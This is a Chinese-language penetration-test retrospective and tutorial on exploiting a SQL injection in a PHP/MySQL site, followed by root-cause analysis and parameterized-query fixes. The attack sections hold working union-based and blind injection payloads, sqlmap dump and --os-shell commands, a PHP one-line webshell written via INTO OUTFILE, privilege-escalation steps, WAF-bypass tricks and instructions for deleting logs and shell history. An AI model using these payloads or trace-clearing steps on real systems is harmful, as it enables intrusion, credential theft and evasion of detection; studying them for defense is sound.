SQL注入实战:从手工探测到自动化利用的完整渗透测试复盘
1. 项目概述:一次基于SQL注入的实战渗透复盘
最近在复盘一些老的渗透测试案例,其中有一个关于某非法网站的渗透过程,其核心突破口是一个典型的SQL注入漏洞。这个案例非常经典,它几乎涵盖了从信息收集、漏洞发现、手工验证到自动化工具利用、数据获取乃至后续权限提升的完整链条。虽然目标网站的性质决定了其安全投入可能不足,但其中暴露出的问题在大量中小型、甚至一些疏于管理的遗留系统中依然普遍存在。今天,我就把这个过程拆解开来,结合当时的手工测试和工具使用,详细聊聊每一步的思路、操作和踩过的坑。无论你是刚入门安全的新手,想理解SQL注入的实际危害,还是有一定经验的从业者,希望从中获得一些排查和利用的灵感,这篇复盘或许都能给你带来一些参考。记住,我们的所有讨论都基于授权的测试环境或合法的学习靶场,旨在提升防御能力,切勿用于非法用途。
2. 前期信息收集与目标锁定
渗透测试的第一步永远是信息收集,它的质量直接决定了后续攻击的效率和成功率。对于这个案例,我们假设目标是一个提供特定非法服务的网站。
2.1 基础信息搜集
首先,我们需要像侦探一样,尽可能多地收集目标的“数字指纹”。
- 域名与IP情报:通过
whois查询、DNS历史记录查询,获取域名的注册信息、历史IP变更记录。有时能发现测试服务器、旧版网站等更容易存在漏洞的资产。使用nslookup或dig命令查看域名解析,确认主站IP以及可能存在的子域名。 - 子域名枚举:这是扩大攻击面的关键。使用工具如
subfinder、amass,或者在线服务,尽可能多地发现目标的子域名。例如,admin.example.com、test.example.com、old.example.com这些子站点的安全水平可能参差不齐,是很好的突破口。 - 端口与服务扫描:使用
Nmap对目标IP进行全端口扫描。命令如nmap -sS -sV -p- -T4 <target_ip>。这不仅是为了找Web服务的80/443端口,更要关注像8080、8888、8443等常见的管理后台端口,以及21(FTP)、22(SSH)、3306(MySQL)、6379(Redis)等可能暴露的数据库或服务端口。在这个案例中,我们发现目标除了80端口,还开放了一个3306端口,但配置了IP白名单,无法从外网直接访问,这提示我们Web应用可能是主要的入口点。
2.2 Web应用信息刺探
确定了Web是主入口后,我们开始针对Web应用本身进行信息收集。
- 技术栈识别:使用浏览器插件(如Wappalyzer)或命令行工具(如whatweb)快速识别网站使用的技术,比如服务器(Apache/Nginx)、编程语言(PHP/Java/Python)、前端框架、中间件版本等。本例中目标是一个典型的LAMP(Linux + Apache + MySQL + PHP)架构。
- 目录与文件发现:使用目录爆破工具,如
dirsearch、gobuster,使用强大的字典,寻找隐藏的管理后台(/admin/、/manage/)、备份文件(.bak、.sql、.tar.gz)、配置文件(config.php、web.config)、接口文件(api.php)等。这一步我们发现了/admin/login.php和/user/profile.php?id=1这样的关键路径。 - 参数分析与输入点枚举:手动浏览网站,用Burp Suite抓取所有请求,重点关注所有带有参数的URL,特别是
?id=、?user=、?page=、?search=这类看起来与数据库查询相关的参数。同时,也注意POST请求中的表单字段,如登录框、搜索框、评论框。我们将所有这些潜在的“用户输入点”记录下来,作为后续漏洞测试的重点目标。
注意:信息收集阶段要避免过于频繁和暴力的扫描,以免触发目标的WAF(Web应用防火墙)或IDS(入侵检测系统)告警。可以调节工具的速度,使用随机延迟,或者使用分布式的扫描节点。
3. 漏洞发现:手工探测SQL注入点
在收集到/user/profile.php?id=1这个疑似注入点后,我们开始进行手工SQL注入测试。手工测试的优势在于精准、可控,能更好地理解后端逻辑,并绕过一些简单的过滤。
3.1 注入点类型判断
首先,我们需要判断注入点是数字型还是字符型。
- 基础测试:访问
/user/profile.php?id=1,页面正常显示用户1的信息。 - 数字型测试:尝试
/user/profile.php?id=1 and 1=1。如果页面依然正常,说明and 1=1这个条件被数据库执行并结果为真。再尝试/user/profile.php?id=1 and 1=2。如果页面返回异常(空白、报错、内容消失),则说明and 1=2这个假条件影响了查询结果,强烈暗示存在数字型注入。因为数字型注入通常形如SELECT * FROM users WHERE id = $id,我们传入1 and 1=2后,查询变为SELECT * FROM users WHERE id = 1 and 1=2,条件永假,可能返回空结果。 - 字符型测试:如果数字型测试无反应,则测试字符型。假设参数被引号包裹:
SELECT * FROM users WHERE name = '$name'。我们尝试闭合引号并注释掉后续部分。例如,参数是search,我们输入' or '1'='1。那么查询变为SELECT * FROM users WHERE name = '' or '1'='1','1'='1'永真,可能会返回所有数据。对于本例的id参数,我们也尝试了字符型测试:id=1'。页面返回了数据库错误信息(如You have an error in your SQL syntax...),这直接证实了漏洞存在,并且是字符型注入,因为多出的单引号破坏了SQL语法。
3.2 利用错误信息获取情报
当输入id=1'引发报错时,错误信息非常宝贵。它可能直接暴露数据库类型(MySQL、MSSQL、PostgreSQL)、部分查询语句结构甚至表名和字段名。例如,一个典型的MySQL错误可能包含“near ‘’’ at line 1”,这告诉我们后端拼接SQL的方式。我们据此推断,原始查询可能类似SELECT username, email FROM profiles WHERE user_id = '$id'。
3.3 确定字段数(Order By)
为了后续使用UNION SELECT联合查询,我们需要知道当前查询语句返回的字段数量。使用ORDER BY子句进行盲测。
我们依次尝试:/user/profile.php?id=1' order by 1-- -/user/profile.php?id=1' order by 2-- -/user/profile.php?id=1' order by 5-- -.../user/profile.php?id=1' order by 8-- -页面正常。/user/profile.php?id=1' order by 9-- -页面报错或显示异常。
这说明当前查询结果共返回8个字段。-- -是注释符,用于注释掉原查询中可能存在的后续单引号或SQL语句,确保我们的注入语句干净。
3.4 联合查询(Union Select)获取数据
知道了字段数是8,我们就可以使用UNION SELECT来让数据库执行我们自定义的查询,并将结果并排显示在页面上。
确定显示位:首先,我们需要知道这8个字段中,哪几个字段的内容会被实际显示在网页上。我们构造Payload:
/user/profile.php?id=1' and 1=2 union select 1,2,3,4,5,6,7,8-- -and 1=2使得前一个查询结果为空,这样页面就只会显示我们union select的结果。在页面上,我们看到了数字“2”、“3”、“5”被显示了出来。这意味着页面的第2、3、5列是显示位,我们可以将想要查询的数据替换到这几个位置。获取数据库信息:利用显示位,我们可以查询数据库的系统信息。 Payload:
/user/profile.php?id=1' and 1=2 union select 1, database(), user(), version(), 5,6,7,8-- -我们将database()(当前数据库名)、user()(当前数据库用户)、version()(数据库版本)分别放在2、3、5号显示位。页面成功显示了:数据库名是illegal_site_db,用户是root@localhost,版本是MySQL 5.7.36。看到root用户,心里基本有底了,这意味着数据库权限很高。枚举表名和列名:在MySQL中,
information_schema数据库存储了所有元数据。- 查表名: Payload:
/user/profile.php?id=1' and 1=2 union select 1, table_name, 3,4,5,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- -通过修改limit的参数(如limit 1,1,limit 2,1),我们可以逐个爆出当前数据库中的所有表名。我们发现了users,admin,transactions,config等表。 - 查列名:我们对最感兴趣的
admin表进行列名枚举。 Payload:/user/profile.php?id=1' and 1=2 union select 1, column_name, 3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1-- -同样修改limit值,我们得到了id,username,password_hash,email,last_login等列。
- 查表名: Payload:
拖取核心数据:最后,直接查询
admin表的内容。 Payload:/user/profile.php?id=1' and 1=2 union select 1, username, password_hash, email, 5,6,7,8 from admin-- -页面上清晰地显示了管理员账号、经过哈希处理的密码(看起来像是MD5)、以及邮箱。
实操心得:手工注入时,浏览器的地址栏对URL长度有限制。当Payload较长时,建议使用Burp Suite的Repeater模块。将请求发送到Repeater,直接在参数位置修改,更加方便。另外,注意观察页面返回的细微差别,有时数据可能隐藏在HTML源码里,或者只显示一部分,需要查看网页源代码。
4. 工具辅助:使用SQLMap进行自动化利用与深度探测
手工注入验证了漏洞的存在并获取了初步数据,但为了更全面、更高效地挖掘,我们祭出了神器——SQLMap。SQLMap可以自动化完成从检测、利用到数据提取的全过程。
4.1 基础检测与数据提取
我们使用最基本的命令开始:sqlmap -u "http://target-site.com/user/profile.php?id=1" --batch
-u:指定目标URL。--batch:以非交互模式运行,所有提示都选择默认选项,适合自动化。
SQLMap会自动识别参数、测试注入类型。很快,它确认了这是一个基于错误的字符型注入点,并识别出后端是MySQL数据库。接着,它会询问是否要跳过其他参数的测试、是否要检测其他数据库类型等,由于我们用了--batch,它会自动继续。
接下来,我们想获取当前数据库的所有数据,可以使用:sqlmap -u "http://target-site.com/user/profile.php?id=1" --dbs--dbs参数用于枚举所有数据库。除了我们之前知道的illegal_site_db,还可能发现其他数据库,比如测试库、备份库等。
然后,我们指定目标数据库进行表枚举:sqlmap -u "http://target-site.com/user/profile.php?id=1" -D illegal_site_db --tables果然,列出了和手工注入时发现的类似的表。
接着,查看admin表的结构:sqlmap -u "http://target-site.com/user/profile.php?id=1" -D illegal_site_db -T admin --columns最后,拖取admin表的所有数据:sqlmap -u "http://target-site.com/user/profile.php?id=1" -D illegal_site_db -T admin --dump--dump会提取表内所有数据。SQLMap还会智能地识别password_hash这类哈希值,并询问是否尝试用内置字典进行破解(如MD5、SHA1彩虹表)。
4.2 进阶利用:获取Shell与权限提升
拿到数据库数据远不是终点,我们的目标是获取服务器的控制权。
写入WebShell:如果当前数据库用户有
FILE权限(我们之前手工查看到是root,通常具备),并且我们知道网站根目录的绝对路径(可以通过报错信息、扫描常见目录、或利用load_file()函数读取服务器配置文件猜测),就可以尝试写入一个WebShell。- 找路径:有时在页面报错信息、应用配置文件中能找到路径。我们通过之前的信息收集,猜测路径可能是
/var/www/html/。 - 写文件:使用SQLMap的
--os-shell参数,它会尝试通过注入点上传一个用于命令执行的小马,并返回一个交互式的伪Shell。命令如下:sqlmap -u "http://target-site.com/user/profile.php?id=1" --os-shellSQLMap会提供几种上传方式(如基于堆查询的、基于写入文件的)。我们选择文件写入的方式。它会询问Web根目录,我们输入/var/www/html/。成功后,我们就能在浏览器访问这个WebShell(一个.php文件),通过它执行系统命令。
- 找路径:有时在页面报错信息、应用配置文件中能找到路径。我们通过之前的信息收集,猜测路径可能是
直接命令执行:在MySQL中,如果配置允许(
secure_file_priv为空),并且有权限,还可以通过INTO OUTFILE或DUMPFILE写文件。手工Payload示例:id=1' union select 1, '<?php system($_GET["cmd"]);?>', 3,4,5,6,7,8 into outfile '/var/www/html/shell.php'-- -如果成功,就会在Web目录下生成一个包含一句话木马的shell.php文件。权限提升与内网渗透:通过WebShell,我们获得了
www-data用户的权限。接下来是标准的内网渗透流程:- 信息收集:执行
id,whoami,uname -a查看当前用户和系统信息。执行ifconfig或ip a查看网络配置,发现内网网段。 - 查找敏感文件:查找网站配置文件(
config.php,.env),里面可能有数据库密码、其他服务的密钥。查找用户目录下的history文件、ssh密钥等。 - 尝试提权:使用
sudo -l查看当前用户能以root身份执行哪些命令。搜索具有SUID权限的可执行文件(find / -perm -u=s -type f 2>/dev/null),看看是否有已知漏洞的(如find,vim,nmap旧版本)。上传本地提权检测脚本(如LinEnum.sh)进行系统检查。 - 内网扫描:利用WebShell作为跳板,使用
nc,上传的nmap静态二进制文件等工具,对内网其他主机(如数据库服务器192.168.1.100)进行端口扫描,寻找新的攻击面。
- 信息收集:执行
注意事项:使用
--os-shell或写文件功能成功率受环境限制很大。secure_file_priv设置、目录写入权限、Web服务器用户权限等都是障碍。在实际测试中,需要根据具体情况灵活选择方法。写入动作也会在Web日志和应用日志中留下明显痕迹。
5. 漏洞根源分析与安全编码实践
成功渗透之后,更重要的是分析漏洞为何会产生,以及如何修复。这个案例的根源非常清晰:未对用户输入进行有效的过滤和转义,直接将用户可控的参数拼接到了SQL语句中。
5.1 漏洞代码还原
后端PHP代码可能长这样:
$id = $_GET['id']; // 直接从URL参数获取,未经过滤 $sql = "SELECT * FROM profiles WHERE user_id = '" . $id . "'"; $result = mysqli_query($conn, $sql);攻击者输入1' or '1'='1,拼接后SQL变为:SELECT * FROM profiles WHERE user_id = '1' or '1'='1'导致条件永真,返回所有数据。
5.2 根本性防御方案
使用参数化查询(预编译语句):这是最有效、最根本的防御手段。它将SQL语句的结构(模板)与数据(参数)分开发送给数据库,数据库会严格区分两者,参数值无论如何变化都不会改变原语句的结构。
- PHP (PDO)示例:
$stmt = $pdo->prepare("SELECT * FROM profiles WHERE user_id = :id"); $stmt->execute(['id' => $id]); $results = $stmt->fetchAll(); - PHP (MySQLi)示例:
$stmt = $conn->prepare("SELECT * FROM profiles WHERE user_id = ?"); $stmt->bind_param("s", $id); // "s"表示字符串类型 $stmt->execute();
- PHP (PDO)示例:
输入验证与过滤:在参数化查询的基础上,增加额外的输入验证。对于
id参数,如果预期是数字,就强制转换为整型:$id = (int)$_GET['id'];。对于字符串,定义允许的字符白名单(如只允许字母数字),使用正则表达式过滤。最小权限原则:为Web应用连接数据库分配一个权限尽可能低的账户。只授予它访问特定数据库、特定表的
SELECT、UPDATE等必要权限,坚决不要使用root或拥有FILE、PROCESS等高权限的账户。这样即使发生注入,攻击者也无法执行写文件、读系统文件等危险操作。错误处理:将数据库错误信息屏蔽,不要直接显示给用户。在生产环境中,应记录错误日志到服务器文件,而前端只返回通用的错误提示。这可以防止攻击者通过报错信息获取数据库结构。
Web应用防火墙(WAF):部署WAF可以作为一道额外的防线,用于检测和拦截常见的SQL注入攻击Payload。但它应该是“锦上添花”的补充,而不能替代安全编码。
6. 渗透测试中的常见问题与排查技巧
在实际的渗透测试过程中,尤其是在面对一些有基础防护的目标时,不会总是一帆风顺。下面记录几个常见场景和应对技巧。
6.1 遇到WAF(Web应用防火墙)拦截
这是现在非常普遍的情况。当你发现正常的and 1=1测试都被拦截,返回403或空白页时,说明可能有WAF。
- 技巧1:大小写混淆/随机大小写:WAF的规则可能是大小写敏感的。尝试
AnD 1=1、UnIoN SeLeCt。 - 技巧2:使用注释符分割关键字:SQL允许注释符
/**/。尝试un/**/ion sel/**/ect。 - 技巧3:编码与双重编码:对Payload进行URL编码、十六进制编码。有时WAF只解码一次,可以尝试双重编码。例如,单引号
'的URL编码是%27,双重编码是%2527。 - 技巧4:使用非常规空格:用
/**/、%0a(换行)、%0d(回车)、%09(制表符)代替普通空格。 - 技巧5:慢速探测:使用
and sleep(5)这类时间盲注的Payload,低速探测,避免触发频率限制规则。 - 技巧6:利用SQLMap的Tamper脚本:SQLMap内置了大量用于绕WAF的Tamper脚本,如
space2comment(空格转注释)、between(用between替换>)、charencode(URL编码)等。使用--tamper参数指定,如--tamper=space2comment,charencode。
6.2 布尔盲注与时间盲注
当页面没有显示位,也没有错误信息回显,只有“存在”和“不存在”两种状态(布尔盲注),或者连状态都没有,只能通过响应时间判断(时间盲注)时,手工注入会非常繁琐。
- 布尔盲注思路:通过
and条件,逐个字符猜测数据。例如,猜解数据库名第一个字符的ASCII码:id=1' and ascii(substr(database(),1,1))>100-- -,通过页面内容是否正常来二分判断。这个过程极其耗时。 - 时间盲注思路:通过
sleep()函数,如果条件为真则延迟响应。例如:id=1' and if(ascii(substr(database(),1,1))>100, sleep(5), 0)-- -,通过观察页面是否延迟5秒返回来判断。 - 工具优势:在这种情况下,SQLMap的优势巨大。只需添加
--technique=B(布尔盲注)或--technique=T(时间盲注)参数,它就能自动化完成整个猜解过程。命令如:sqlmap -u "xxx" --technique=B --batch。
6.3 高权限与提权受阻
即使通过注入拿到了数据库高权限用户,在向操作系统提权时也可能受阻。
secure_file_priv限制:MySQL的这个系统变量限制了LOAD DATA INFILE和SELECT ... INTO OUTFILE能读写文件的目录。如果设置为NULL,则禁止文件操作;如果设置为某个目录,则只能在该目录下操作。可以通过show variables like 'secure_file_priv';查询。如果受限,写WebShell的路径可能失败。- Web目录无写权限:即使数据库有
FILE权,www-data用户也可能对Web根目录没有写权限。 - 应对策略:
- 尝试寻找其他可写目录,如
/tmp,然后看能否通过其他方式(如本地文件包含漏洞)包含这个文件。 - 利用数据库的
general_log或slow_query_log功能,通过修改日志文件路径和内容来写入WebShell,但这需要SUPER权限。 - 如果注入点支持堆查询(如MSSQL、PostgreSQL),可以尝试执行系统命令,不依赖写文件。
- 将重点转向从数据库提取的敏感信息,如管理员密码哈希、其他系统密码等,尝试破解后登录其他服务(如SSH、后台管理系统)。
- 尝试寻找其他可写目录,如
6.4 日志与痕迹清理
在授权的渗透测试中,清理痕迹是必要步骤,以模拟攻击者行为或避免对测试环境造成持续影响。
- Web访问日志:需要找到Web服务器的访问日志位置(如Apache的
/var/log/apache2/access.log),删除或修改包含我们攻击Payload的记录行。这需要文件写入或编辑权限。 - 数据库日志:MySQL的通用查询日志(
general_log)如果开启,会记录所有SQL语句。需要找到日志文件并清理。同样需要高权限。 - 系统命令历史:在获取Shell后,执行的命令会记录在用户目录的
.bash_history或.zsh_history文件中,需要清空。 - 上传的WebShell文件:测试结束后务必删除所有上传的后门文件。
重要提醒:在真实环境中,未经授权的任何渗透测试和痕迹清理都是非法的。以上所有技术讨论仅适用于授权的安全评估、合规的攻防演练以及个人在完全隔离的实验室环境(如DVWA、Pikachu、Vulnhub靶机)中的学习。技术的刀刃朝向哪里,取决于持刀的人。
